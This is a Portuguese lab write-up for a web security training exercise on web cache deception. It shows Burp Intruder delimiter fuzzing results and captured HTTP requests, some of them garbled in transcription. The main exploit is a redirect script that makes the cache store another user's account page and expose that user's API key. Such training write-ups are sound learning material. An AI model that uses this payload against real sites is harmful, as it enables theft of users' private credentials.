

Evidências dos Testes

1. Identificação do endpoint:



Exploiting cache server normalization for web cache deception

LAB Not solved

Go to exploit server

Submit solution

Back to lab description >>

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Your API Key is: bwoHe4ZFfGY8eR51q3oZFAQrPiIGeBKY

Email

Update email

2. Teste de delimitadores utilizando Burp Suite Intruder:

The screenshot displays the Burp Suite Intruder interface. The main window shows a list of HTTP requests, with the first request selected. The request is a GET request to the endpoint `/my-account`. The request body is as follows:

```
1 GET /my-account HTTP/1.1
2 Host: 0a4a004d0389a2d182d367b7000900c1.web-security-academy.net
3 Cookie: session=h7d40WfuzdR0CjRddqAEZjg7icRQ
4 Sec-CH-UA: "Mozilla/5.0", "Chromium"
5 Sec-CH-UA-Mobile: 0
6 Sec-CH-UA-Platform: "Windows"
7 Accept-Language: pt-BR,pt;q=0.9
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Sec-Fetch-Site: cross-site
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-Dest: document
14 Referer: https://exploit-0a44007e031aa2382b46ee01780027.exploit-server.net/
15 Accept-Encoding: gzip, deflate, br
16 Priority: u=0, i
17
18
```

The right-hand panel shows the 'Payloads' configuration. It includes a 'Payload position' dropdown set to 'All payload positions', a 'Payload type' dropdown set to 'Simple list', and a 'Request count' of 128. The 'Payload configuration' section allows for defining a list of strings to use as payloads. The 'Payload processing' section allows for defining rules to perform various processing tasks on each payload before it is used. The 'Payload encoding' section allows for defining a list of characters to URL-encode within the final payload.

3. Identificação do delimitador:

AttackSave3. Intruder attack of https://0a4a00420389a2d182d367b7000900c1.web-security-academy.net

ResultsPositions

Capture filter: Capturing all itemsApply capture filter

View filter: Showing all items

Request ^	Position	Payload	Status code	Response received	Error	Timeout	Length	Comment
0	0		404	304			131	
1	1	!	404	208			131	
2	1	"	404	251			131	
3	1	#	200	300			4078	
4	1	\$	404	299			131	
5	1	%	404	246			131	
6	1	&	404	214			131	
7	1	'	404	315			131	
8	1	(	404	313			131	
9	1	)	404	298			131	
10	1	*	404	235			131	
11	1	+	404	240			131	
12	1	,	404	215			131	
13	1	-	404	257			131	
14	1	.	404	260			131	
15	1	/	404	230			131	
16	1	:	404	207			131	
17	1	;	404	266			131	
18	1	<	404	242			131	
19	1	=	404	243			131	
20	1	>	404	254			131	
21	1	?	200	303			4078	
22	1	@	404	247			131	
23	1	[	404	204			131	
24	1	\	404	212			131	
25	1	]	404	297			131	
26	1	^	404	281			131	
27	1	`	404	205			131	
28	1	{	404	238			131	
29	1		404	268			131	
30	1	}	404	266			131	
31	1	~	404	220			131	
32	1		404	244			131	
33	1	%21	404	231			131	
34	1	%22	404	287			131	
35	1	%23	200	305			4078	

hed

AttackSave3. Intruder attack of https://0a4a00420389a2d182d367b7000900c1.web-security-academy.net

ResultsPositions

Capture filter: Capturing all itemsApply capture filter

View filter: Showing all items

Request ^	Position	Payload	Status code	Response received	Error	Timeout	Length	Comment
32	1		404	244			131	
33	1	%21	404	231			131	
34	1	%22	404	287			131	
35	1	%23	200	305			4078	
36	1	%24	404	286			131	
37	1	%25	404	235			131	
38	1	%26	404	248			131	
39	1	%27	404	225			131	
40	1	%28	404	267			131	
41	1	%29	404	278			131	
42	1	%2A	404	247			131	
43	1	%2B	404	253			131	
44	1	%2C	404	287			131	
45	1	%2D	404	250			131	
46	1	%2E	404	283			131	
47	1	%2F	404	279			131	
48	1	%3A	404	236			131	
49	1	%3B	404	260			131	
50	1	%3C	404	252			131	
51	1	%3D	404	309			131	
52	1	%3E	404	228			131	
53	1	%3F	200	214			4078	
54	1	%40	404	265			131	
55	1	%5B	404	382			131	
56	1	%5C	404	258			131	
57	1	%5D	404	213			131	
58	1	%5E	404	206			131	
59	1	%5F	404	381			131	
60	1	%60	404	223			131	
61	1	%7B	404	240			131	
62	1	%7C	404	309			131	
63	1	%7D	404	259			131	
64	1	%7E	404	251			131	
65	2	!	404	297			131	
66	2	"	404	226			131	
67	2	#	404	255			131	

Attack		Save		3. Intruder attack of https://0a4a00420389a2d182d367b7000900c1.web-security-academy.net					
3. Intruder attack of https://0a4a00420389a2d182d367b7000900c1.web-security-academy.net		Attack		Save					
Results		Positions							
Capture filter: Capturing all items		View filter: Showing all items		Apply capture filter					
Request	Position	Payload	Status code	Response received	Error	Timeout	Length	Comment	
93	2	{	404	281			131		
94	2		404	206			131		
95	2	}	404	242			131		
96	2	-	404	300			131		
97	2	%21	404	217			131		
98	2	%22	404	205			131		
99	2	%23	404	205			131		
100	2	%24	404	220			131		
101	2	%25	404	229			131		
102	2	%26	404	253			131		
103	2	%27	404	301			131		
104	2	%28	404	223			131		
105	2	%29	404	238			131		
106	2	%2A	404	296			131		
107	2	%2B	404	360			131		
108	2	%2C	404	215			131		
109	2	%2D	404	229			131		
110	2	%2E	404	238			131		
111	2	%2F	404	293			131		
112	2	%3A	404	234			131		
113	2	%3B	404	221			131		
114	2	%3C	404	210			131		
115	2	%3D	404	202			131		
116	2	%3E	404	201			131		
117	2	%3F	404	210			131		
118	2	%40	404	226			131		
119	2	%5B	404	194			131		
120	2	%5C	404	188			131		
121	2	%5D	404	282			131		
122	2	%5E	404	277			131		
123	2	%5F	404	224			131		
124	2	%60	404	247			131		
125	2	%7B	404	243			131		
126	2	%7C	404	220			131		
127	2	%7D	404	204			131		
128	2	%7E	404	295			131		

4. Discrepância no comportamento da normalização :

Result 21 | Intruder attack

Position: 1

Payload: 7

Status code: 200

Length: 4076

Timer: 303

Request

PrettyRawHex

```

1 GET /my-account33resourceHTTP/2 HTTP/2
2 Host: 0a4a00420389a2d182d367b7000900c1.web-security-academy.net
3 Cookie: session=b7da408fuzj8B02PdddaAE3jy7icMQ
4 Sec-Ch-Ua: "Not;A=Brand";v="0", "Chromium";v="150"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Accept-Language: pt-BR,pt;q=0.9
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Sec-Fetch-Site: cross-site
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-Dest: document
14 Referer: https://exploit-0af4007e031aa22382b466ec01780027.exploit-server.net/
15 Accept-Encoding: gzip, deflate, br
16 Priority: u=0, i
17 Connection: keep-alive
18
19

```

Response

PrettyRawHexRender

```

1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 3570
5
6 <!DOCTYPE html>
7 <html>
8 <!--LAB_HEAD_START-->
9 <head>
10 <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
11 <link href=/resources/css/labs.css rel=stylesheet>
12 <title>
13 Exploiting cache server normalization for web cache deception
14 </title>
15 </head>
16 <!--LAB_HEAD_END-->
17 <body>
18 <script type="text/javascript" src="/resources/js/tracking.js">
19 </script>
20 <script src="/resources/labheader/js/labHeader.js">
21 </script>
22 </body>
23 </html>

```

Result 35 | Intruder attack

Position: 1
Payload: 423
Status code: 200
Length: 4078
Timer: 305

Request

Pretty Raw Hex

```
1 GET /my-account133resourceaHTTP/2 HTTP/2
2 Host: 0a4a04020389a2d182d367b7000900c1.web-security-academy.net
3 Cookie: session=7de40Wfuzjdm02RddqAF3gv7iCMQ
4 Sec-Ch-Ua: "Not:A Brand";v="0", "Chromium";v="150"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Accept-Language: pt-BR,pt;q=0.9
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Sec-Fetch-Site: cross-site
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-Dest: document
14 Referer: https://exploit-0a40076031aa2382b466ec01780027.exploit-server.net/
15 Accept-Encoding: gzip, deflate, br
16 Priority: u=0, i
17 Connection: Keep-alive
18
19
```

Response

Pretty Raw Hex Render

```
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 3970
5
6 <!DOCTYPE html>
7 <html>
8 <!--LAB_HEAD_START-->
9 <head>
10 <link href="/resources/labheader/css/academyLabHeader.css" rel="stylesheet">
11 <link href="/resources/css/labs.css" rel="stylesheet">
12 <title>
13 Exploiting cache server normalization for web cache deception
14 </title>
15 </head>
16 <!--LAB_HEAD_END-->
17 <body>
18 <script type="text/javascript" src="/resources/js/tracking.js">
19 </script>
20 <script src="/resources/labheader/js/labHeader.js">
21 </script>
22 </body>
23 </html>
24 <!--LAB_BODY_START-->
```

Burp Project Repeater View Help

Burp Suite Community Edition v2026.7.3 - Temporary Project

Dashboard Target Proxy Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Discover

Target: https://0a4a04020389a2d182d367b7000900c1.web-security-academy.net HTTP/2

Request

Pretty Raw Hex

```
1 GET /my-account133resourceaHTTP/2 HTTP/2
2 Host: 0a4a04020389a2d182d367b7000900c1.web-security-academy.net
3 Cookie: session=7de40Wfuzjdm02RddqAF3gv7iCMQ
4 Cache-Control: max-age=0
5 Accept-Language: pt-BR,pt;q=0.9
6 Upgrade-Insecure-Requests: 1
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-Dest: document
12 Sec-Fetch-User: ?0
13 Sec-Ch-Ua: "Not:A Brand";v="0", "Chromium";v="150"
14 Sec-Ch-Ua-Mobile: ?0
15 Sec-Ch-Ua-Platform: "Windows"
16 Referer: https://0a4a04020389a2d182d367b7000900c1.web-security-academy.net/login
17 Accept-Encoding: gzip, deflate, br
18 Priority: u=0, i
19
```

Response

Pretty Raw Hex Render

```
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Cache-Control: max-age=30
5 Age: 4
6 X-Cache: hit
7 Content-Length: 3970
8
9 <!DOCTYPE html>
10 <html>
11 <!--LAB_HEAD_START-->
12 <head>
13 <link href="/resources/labheader/css/academyLabHeader.css" rel="stylesheet">
14 <link href="/resources/css/labs.css" rel="stylesheet">
15 <title>
16 Exploiting cache server normalization for web cache deception
17 </title>
18 </head>
19 <!--LAB_HEAD_END-->
20 <body>
21 <script type="text/javascript" src="/resources/js/tracking.js">
22 </script>
23 <script src="/resources/labheader/js/labHeader.js">
24 </script>
25 </body>
26 <!--LAB_BODY_START-->
27 <div id="academyLabBanner">
28 <div class="container">
29 <div class="logo">
30 </div>
31 <div class="title-container">
32 <div>
33 Exploiting cache server normalization for web cache deception
34 </div>
35 </div>
36 </div>
37 </div>
38 <div id="exploit-link" class="button" target="" blank" href="
39 https://exploit-0a40076031aa2382b466ec01780027.exploit-server.net">
40 Go to exploit server
41 </div>
42 <div id="submitSolution" class="button" method="POST" path="/submitSolution"
43 parameter="answer" >
44 Submit solution
45 </div>
46 </div>
47 </div>
48 </div>
```

5. Construção da requisição e Resultado:

Web Security Academy

Exploiting cache server normalization for web cache deception

LAB Not solved

[Back to lab](#) [Submit solution](#) [Back to lab description >>](#)

This is your server. You can use the form below to save an exploit, and send it to the victim.

Please note that the victim uses Google Chrome. When you test your exploit against yourself, we recommend using Burp's Browser or Chrome.

Craft a response

URL: <https://exploit-0af4007e031aa22382b466ec01780027.exploit-server.net/exploit>

HTTPS

☒

File:

/exploit

Head:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Body:

```
<script>
document.location="https://0a4a00420389a2d182d367b7000900c1.web-security-academy.net/my-account%23%2f%2e%2e%2fresources?wcd";
</script>
```

Web Security Academy

Exploiting cache server normalization for web cache deception

LAB Solved

[Back to lab description >>](#)

Congratulations, you solved the lab!

[Share your skills!](#) [Twitter](#) [LinkedIn](#) [Continue learning >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: carlos

Your API Key is: xuEWWal2QzqkVSGGVIBkTMqTCPTI8QFn

Email

[Update email](#)